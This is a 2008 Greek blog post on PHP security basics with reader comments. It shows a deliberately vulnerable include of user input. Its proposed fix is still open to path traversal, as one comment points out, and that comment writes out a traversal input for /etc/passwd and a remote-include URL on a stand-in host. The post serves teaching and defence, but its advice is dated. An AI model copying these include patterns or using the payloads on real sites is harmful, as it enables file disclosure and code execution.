Securing PhP, τα βασικά

Nick Papanotas's Facebook profile Γράφει ο Νίκος Παπανώτας | View CommentsLeave a Comment
Τελευταία ενημέρωση: Monday, November 24, 2008 | 6572 Views

Σήμερα είπα να γράψω κάτι διαφορετικό, έτσι πρίν συνεχίσουμε με τις αγοροπωλησίες domain θα ασχοληθούμε λίγο με την πιο δημοφηλή γλώσσα για διαδυκτικές εφαρμογές, την PhP και συγκεκριμένα με το πώς μπορούμε να ασφαλίσουμε τις εφαρμογές μας.

Γενικά περι ασφάλειας

Αρχικά πρέπει να πούμε κάποια πράγματα γενικά. Το θέμα “ασφάλεια” είναι κάτι πολύ υποκειμενικό και ποτέ δέν υπάρχει 100% διασφάλιση. Για να λέμε τα πράγματα όπως έχουν, είναι γεγονός πως σε γενικές γραμμές άν κάποιος σε βάλει στο μάτι συνήθως είναι εφικτό να προσπεράσει οποιαδήποτε δικλείδα ασφαλείας και αν έχουμε θέσει.

Αυτό μπορεί να συμβαίνει για πολλούς λόγους. Θα προσπεράσω τους λόγους όπως πχ. οτι έχουμε παλιό software (web servers, database servers, κτλ) και θα εστιάσω καθαρά στο θέμα του web developer:

  1. Όσο καλός web developer και άν είναι κάποιος – και βάζω και τον εαυτό μου στην λίστα – σίγουρα δέν είναι ειδικός ασφαλείας πληροφοριακών συστημάτων.
  2. Προσθέτουμε στο παραπάνω οτι κανείς php developer δέν γνωρίζει επ’ ακριβώς πώς δουλεύει εσωτερικά η php, μιά και που δέν είναι αυτη η δουλειά του. Αυτό ωστόσο μπορεί να δημιουργήσει προβλήματα.
  3. Οι ανάγκες και οι προθεσμίες που θέτουν οι πελάτες ποτέ δέν λαμβάνουν υπ’όψιν τον παράγοντα “ασφάλεια” και εδώ ίσως φταίμε που δέν ενημερώνουμε σωστά τους πελάτες μας.

Προσωπικά έχω αντιμετωπίσει πολλές φορές προβλήματα ασφαλείας, και μάλιστα πρόσφατα πέσαμε θύμα ενός απο τα μεγαλύτερα botnets το οποίο ακόμα δέν είμαι σίγουρος αν έχουμε αντιμετωπίσει επαρκώς. Αυτό κυρίως γιατί το συγκεκριμένο botnet μπορεί να χρησιμοποιήσει με αυτόματο τρόπο πολλαπλά exploits και ουσιαστικά δέν ξέρεις απο πού έρχεται το πρόβλημα κάθε φορά. Αυτή την φορά την “πατήσαμε” γιατί απλούστατα όπως και σε κάθε server και στον δικό μας υπήρχαν μή ενημερωμένα software. Πάμε όμως να δούμε κάποια πράγματα που πρέπει να γνωρίζουμε όταν γράφουμε εφαρμογές σε Php και τα πιό απλά – αλλά και πιό συνηθησμένα – προβλήματα ασφαλείας που μπορεί να προκύψουν.

SQL Injection attack

To SQL injection θεωρείται ίσως ως ο πιό απλός τρόπος για να hackέψεις ένα site και γενικά οι περισσότεροι developers – αν όχι όλοι – το γνωρίζουν. Ωστόσο γνωρίζατε οτι μια εντολή σαν την addslashes() δέν είναι αρκετή για να μας σώσει;

Προτού συνεχίσουμε να εξηγήσουμε λίγο τί είναι το SQL injection. To σενάριο είναι το εξής:

  • Η εφαρμογή χρησιμοποιεί κάποια $_GET ή $_POST μεταβλητή για να λάβει δεδομένα απο τον SQL server (mysql, oracle, sybase, κτλ)
  • Ο επιτηθέμενος την “πειράζει” ωστε να αλλάξει το query ή να τρέξει και κάποιο άλλο query (στην mysql γίνεται κυρίως με UNION() )

Δέν θα επεκταθώ στο πώς γίνεται μια και που το google μπορεί να σας δώσει όλες τις απαραίτητες πληροφορίες :)

Το ουσιαστικό με αυτή την μορφή επίθεσης είναι οτι πρέπει ουσιαστικά να μήν επιτρέπουμε τον χαρακτήρα quote (‘) να μπεί σε ένα query απο τον χρήστη. Για αυτό οι περισσότεροι developers χρησιμοποιούν την addslashes() η οποία με τις κατάλληλες συνθήκες μπορεί να προσπεραστεί….

Για αυτό πρέπει να χρησιμοποιούμε την mysql_real_escape_string()

File system attacks

Μιά άλλη κλασσική μέθοδος είναι τα remote includes. Για παράδειγμα έχουμε τον παρακάτω κώδικα:


<?php

include $_GET&#91;'action'&#93;;

?>

Αυτό που ενδεχομένως δέν γνωρίζουμε, είναι πως ο επιτηθέμενος μπορει στο $_GET[‘action’] να δώσει ένα url (πχ. απο ένα file browser script) και να πάρει full access στο μηχάνημα, ή έστω στο directory του site μας εφόσον παίζουμε σε safe_mode

Η σωστή έκδοση για το παραπάνω θα ήταν :


<?php

include '/some/path/' . $_GET&#91;'action'&#93; . '.php';

?>

ή ακόμα καλύτερα :


<?php

switch ( $_GET&#91;'action'&#93; ){

case 'x' : include 'x.php'; break;

case 'y' : include 'y.php'; break;

....

}

?>

XSS attacks

To XSS ή αλλιώς cross site scripting, είναι η τεχνική κατα την οποία ο χρήστης βάζει κάποιο – javascript συνήθως – html σε δεδομένα που εμείς θα εμφανίσουμε αργότερα στο site. Ένα απο τα χαρακτηριστηκότερα παραδείγματα ήταν όταν στο myspace καταφέραν κάποιοι να φορτώσουν σε αρκετά profiles ένα flash το οποίο χρησιμοποιόντας το session του επισκέπτη του profile έκανε κάποια πράγματα στο myspace (πχ. έστελνε ένα shout σε όλους τους φίλους σου)

Για να αποφύγουμε κάτι τέτοιο καλό είναι να μετατρέπουμε ότι δεδομένα μας δίνει ο χρήστης με την function htmlentities()

Πώς να έχουμε το κεφάλι μας ήσυχο

Όπως είπαμε και παραπάνω η ασφάλεια είναι ένα μεγάλο ζήτημα, ωστόσο υπάρχουν κάποια πράγματα που μπορούμε να κάνουμε και να είμαστε πιό ασφαλείς:

  1. Κάνουμε subscribe στα releases απο τα open source software που χρησιμοποιούμε. Είναι γνωστό οτι δημοφηλή projects όπως το wordpress, το joomla και άλλα, βγάζουν ενημερώσεις ασφαλείας πολύ συχνά. Σε αυτές τις περιπτώσεις επειδή είναι συχνά τα μαζικά exploits, η άμεση ενημέρωση είναι αναγκαία.
  2. Ενημερωνόμαστε απο κοινότητες που ασχολούνται με την ασφάλεια πληροφοριακών συστημάτων.
  3. Σκανάρουμε τις εφαρμογές μας πρίν τις βγάλουμε στον αέρα.
  4. Χρησιμοποιούμε κάποιο module που μπορεί να μας βοηθήσει.

Ξέχασα κάτι; Αν ναί μήν διστάζετε να αφήσετε ένα σχόλιο. Καλώς η κακώς η ασφάλεια είναι κάτι που πρέπει να κοιτάξουμε ώς κλάδος και όχι μεμονομένα. Ελπίζω το σημερινό άρθρο – αν και διαφορετικό απο τα συνηθησμένα – να σας άρεσε.

  • http://www.tsevdos.com John Tsevdos

    Πολύ δυνατό άρθρο αγαπητέ, συγχαρητήρια. Είσαι ήδη στον RSS feed μου ;-)

  • http://www.my-guides.net axel

    Hey Νίκο.

    Ένα σχόλιο σχετικά με τα File System Attacks που αναφέρεις. Ακόμα και με τον κώδικα που αναφέρεις δεν είσαι ασφαλής.

    1ον. Είσαι ανοιχτός σε directory traversals. Η διαδρομή που θα μπορούσε κάποιος να ζητήσει στο include σου θα είναι action=../../etc/passwd Τη συνέχεια την καταλαβαίνεις.
    2ον. Καλύτερα κάνε disable την allow_url_fopen. Διαφορετικά ο κακός της υπόθεσης μπορεί να χρησιμοποιήσει κάτι σαν action=http://www.example.com/hack_nikos.txt?

    ΥΓ: Στείλε μου email.
    ΥΓ2: 301-Δ07 ;)

  • Νίκος Παπανώτας

    @Tsevdos thanks, αλλα μήν νομίζεις οτι είμαι κανένας guru. Απλά μετά απο τις αμέτρητες επιθέσεις έμαθα και δύο πραγματάκια….

    @axel, πολύ σωστός. Αυτό δέν σκέφτηκα να το γράψω γιατι σε όλα τα site έχω safe mode, οπότε δέν γίνεται κάποιος να παίξει σε directory έξω απο το site.
    ΥΓ2: Είμαστε σειρά; Σου στέλνω email

  • http://ale3andro.gr ale3andro

    Πολύ χρήσιμο άρθρο… Μπήκες και στοn δικό μου reader

  • http://humanworks.gr/php/securing-php-%ce%bc%ce%ad%cf%81%ce%bf%cf%82-2/ Securing PhP, μέρος 2 » HumanWorks – SEO and Web development

    […] με PhP, και έτσι είπα να επανέλθω με ακόμα ένα άρθρο για php security. Ως γνωστόν η ασφάλεια είναι ένα απο τα σημαντικότερα […]

blog comments powered by Disqus